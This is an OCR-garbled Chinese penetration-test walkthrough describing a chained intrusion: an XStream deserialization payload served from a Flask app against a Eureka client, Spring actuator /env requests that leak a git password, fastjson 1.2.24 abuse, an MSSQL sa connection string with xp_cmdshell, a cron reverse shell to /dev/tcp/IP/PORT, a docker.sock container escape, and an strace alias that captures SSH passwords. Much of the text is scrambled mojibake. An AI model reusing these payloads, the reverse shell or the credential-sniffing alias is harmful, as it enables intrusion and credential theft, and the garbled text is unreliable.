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/info

2. AFEIXT TenvlEEE X #HTxstreamkRFIH, tHREureka-ClientihR & tE &
BB, IUABEN S EHiZgetshell,

R flaskiREapplication/xmI& I 2035 :
from flask import Flask, Response

app = Flask(__name__)
@app.route('/"', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Bas:
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMess
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<servicelterator class="javax.imageio.spi.FilterIterator™:
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>#&<</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java. lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>

</filter>
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<next>foo</next>
</servicelterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""

return Response(xml, mimetype='application/xml"')

REHTAMBARE, httpBXKZERNE, FUNTEEUTIRERZ —:

3. HF 2 MM, REKETAHREEE., EEBRT—TNIEEBRANE®R, &
WenvhRETITBgit password,

- icommandLineArgs:
E eurekaPortl:
gitUsername: “publ. ,
gitPassword: " #xdkss”
copfigIpl: - 1
1xIp2:

urekalHost2:
eurekalHo=stl: .

rahhltquust: )

L1 B - - -
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4, Bidset springhy

eureka.client.serviceUrl.defaultZone @4, EWITB M password,

BgitpassX1TLT =, WMESR

eureka.client.serviceUrl.defaultZone B %,

RERFTRA, 18315 KEK]

AR R TR, ERgitpassBIE401AIEN A X ERMAEFEINES ML,

J Raw | Params | Headers | Hex |

J Raw | Headers | Hex |

POST jenv HTTPA A

Host

Accepl-oi _ e

Accept: */*

Accept-Language: en

User-Agent: Mozilla/s .0 (compatible; MSIE 9.0; Windows NT 6.1; Wing4, x64; Tricert/s.0)
Connection: close

Content-Typs  ~oplication/x-www-form-urlencoded

Cortert-Lern

eureka.client.servicelr.defaut Zone=http: (iF{gitPassword

POST /env HTTP/1.1

Host: 0.0.0.0(£fripkhostithilt)
Accept-Encoding: gzip, deflate
Accept: *x/*

Accept-Language: en

Content-Type: applicationfjson;charset=UTF-8
Date: Thu, 30 Apr 2020 03:34:32 GMT
Connection: close

Contert-Length: 79

{"eureka client servicelr| defautt Zone' aitl

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x¢

Connection: close

Content-Type: application/x-www—-form-urlencoded

Content-Length: 81

eureka.client.serviceUrl.defaultZone=http://${gitPassword}@0.0.0.0:8080

5. refreshfm, itappBE&EIFKENEME, XFEAJNIEHFELEEHNNKRSSE L.
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{
- profiles: [
“zingle”
1,
- manager: |
eureka. client. servicellrl. defaultZone: “hittp: / #xsssi 3"

1.

- server.ports: |
local. sexver. poxt:

1.

commandLinelrg=s:
eurekaPortl: "¢
gitUsexrname: “public_id”,

gitPassword: "“ssssss”,
cCox L e
cont ., _,

eurekaHost2: ’
eurekalHost1: 2 o

wrnhhadmallaad at

6. fEffbase64, FREXNFIQitIKF X1,

GET Jfapps/ HITR/1. 1

huqut: dppliF’Tiﬂnfj:Dn
Discovervldentity-Wame: Defaultilien
D1 scovervldentity-Yersion: 1. 4

Dl:ED'Hr“IdHIT1TJ—Id

hecept—Frondie—

ja— | | b
Host: 1
1

Client/

Rxl gNON Ty

3

. ERAMIgitlkP L, BEEREMNLHBHNEEXH. GRENBLE—LEAN
MINHIENRIFEEREEXYE, REXRNABEL,
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 AEREAENABETEFEFITLE —ERE. EHTENAKS, IRTEARS

3. BEIZIL N EBEMRANbugjson, B2 I7MW K 2SN HY M ik,

<dependency
<groupIldycom.unboundid</grouplds
<artifactId>unboundid-ldapsdk</artifactIds
<version»3.1.1</version>

</dependency>

<dependency
cgroupIdrcom.alibaba</groupId>
fartifactId>fastjson</artifactIid:
¢yersions1.2.24¢/version>

</dependency>

<dependency:
cgroupldrorg.apache.ibatis</groupld:
fartifactIdribatis-coresfartifactIds:

fyersiony3.8</versions

fidanandanros

4. ﬁfm—’ﬁossﬂ’ﬁﬁ%, ossIRS TN -—REBREFERANREESRRFED, JMNERER

getshell, XEHMAL AT, TEEXTossi#iz, 2 MMEnuxBIHIZ,
curl ;ttps:a";‘ .com/hardencentes.sh > hardencentos && chmod 755 hardencentos &% ./hardencentos
5. THTRITAEBTT, BUANZZETERCESMBENNONSNNERANERAMA, AU

BiEFEBEMNossIRSE, ®Bidbroken link hijacking X B fih A W — L& 8& 1 W 69 AR
SRR,
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echo "Upgrading paf5wnrd hashing
authconfig --passal, shabl2? - -upc

echo "Setting Password Expiry Time for users ..
cp fetcflngln defs $ﬁUDITDIHIlUg1n defa $TIHE b

HEANEZZ TosslRSANT I NR, EEMHNEEXH, RA—RNMENDN

satNREIEE, EEZEWNI1Txp_cmdshellRGE@wH 2,

<add name="ConnectionString”
connectionString="server=,uid=sa;pwd=a%r
3 9:databac >
< fconnectionStrings=

RERIMNRZcERNIpHRIBRZI TN EFN1433EHIEE, X

HiEE .
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8. EEmssqlHiEE, BITRAKE T HmMNoss LEEMkey, RELEBERT X
MinuxiNEMA, AEEERAMTITNESEI,

echo —e "\n\nx/1 % *x *x x /bin/bash -i >& /dev/tcp/IP/PORT 0>&1\n\n" >> /\

4

1. —BEREZE, RWHKET —8linuxfshell, ifconfigkMEFEEdockerW+&, FR

MXE—8&Bdocker®a 2%,

valid Lft forever preferred 1ft foreve
docker0@: <NO-CARRIER,BROADCAST,MULTICAST,

Llink/ether 02:42:f7:d8:4c:60 brd ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scc
valid 1ft forever preferred 1ft foreve

2. —fRFiHdockeritiz, SERATER/LMAE:

a. emote api KRENHI]
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b. docker.sockiEH R A R A P
c. FHMERX
d. runc (CVE-2019-5736)
e. Dirty Cow (CVE-2016-5195)

3. BulAT F2375wmO, RERINARNmOHIE,

4. find / —name docker.sockZiIXIH FTEH W sock X,

EWMTHE/var/runBE T sockX 1, docker.sock@ZDocker deamonSIFAIUNix
socket, BES5 HBEEKRETUEEdocker,

curl ——unix-socket /var/run/docker.sock http://127.0.0.1/containers/json

127.00,0, 1 containers/ json

5. HA2ihladocker socketht, FHAIATEiT 5docker daemonf@E X H # 177

BRI ALR,

nt (docker) , Bid
BITHUBREARARZR
itz B % (/root,

EB#{ATLAIFEdocker socket, HAIEAIEERNIRZEclien
docker.sock5 T £l fserver (docker daemon) #1TXREH,
MBEHZB, RXEETH/BPREFBEBEN. NEENRER R
/var/spool/cron/F)EI &2, BJIREEEENONR,
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5

1. BEHTIHUNES, BITT kR#Eshell®n s, BHEHTEEZN., EFEBTBEEINFH
.bash_historyX#, RULEFTAXERIZIBZBEZEMRS .
B EsshFIIMBZHERBZEWG,

ifclnils
ssh rootd
doclier

-l fﬂptf

1
L |
(-

sudo apt 1nstall docker. 1o
g1t clone ..ﬁ“:;;glthqb.

2. Bdsshigl], IMEHZERL,

alias ssh='strace -o /tmp/sssh.log —e read,write,connect -s2048 ssh'
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4. REME2ENEE, XBREBEBhash, #RZE,

1866
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1663
1684
1631
1632
1653
16638
1670
1672
1685
1689
1743
1763
1766
1777
1781
1782
1790

— WS E A2 iR

RAGRBUFENIR,

"8187607al4badet88bbl
18781b68f85aaeb3
59cc67e33356bT40e9b
187607aldbad@+88bbl
rade59ccb7e33356bT468e9b

y1c
>1c
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51c
I151c
151c
151c
151c¢
2Cad
acac
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—

ade59ccb67e33356bT40e9b
ade59ccb7e33356bT408e9b
1de59ccb67e33356bT40e9b
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Jcco7e33356bTA40e9b
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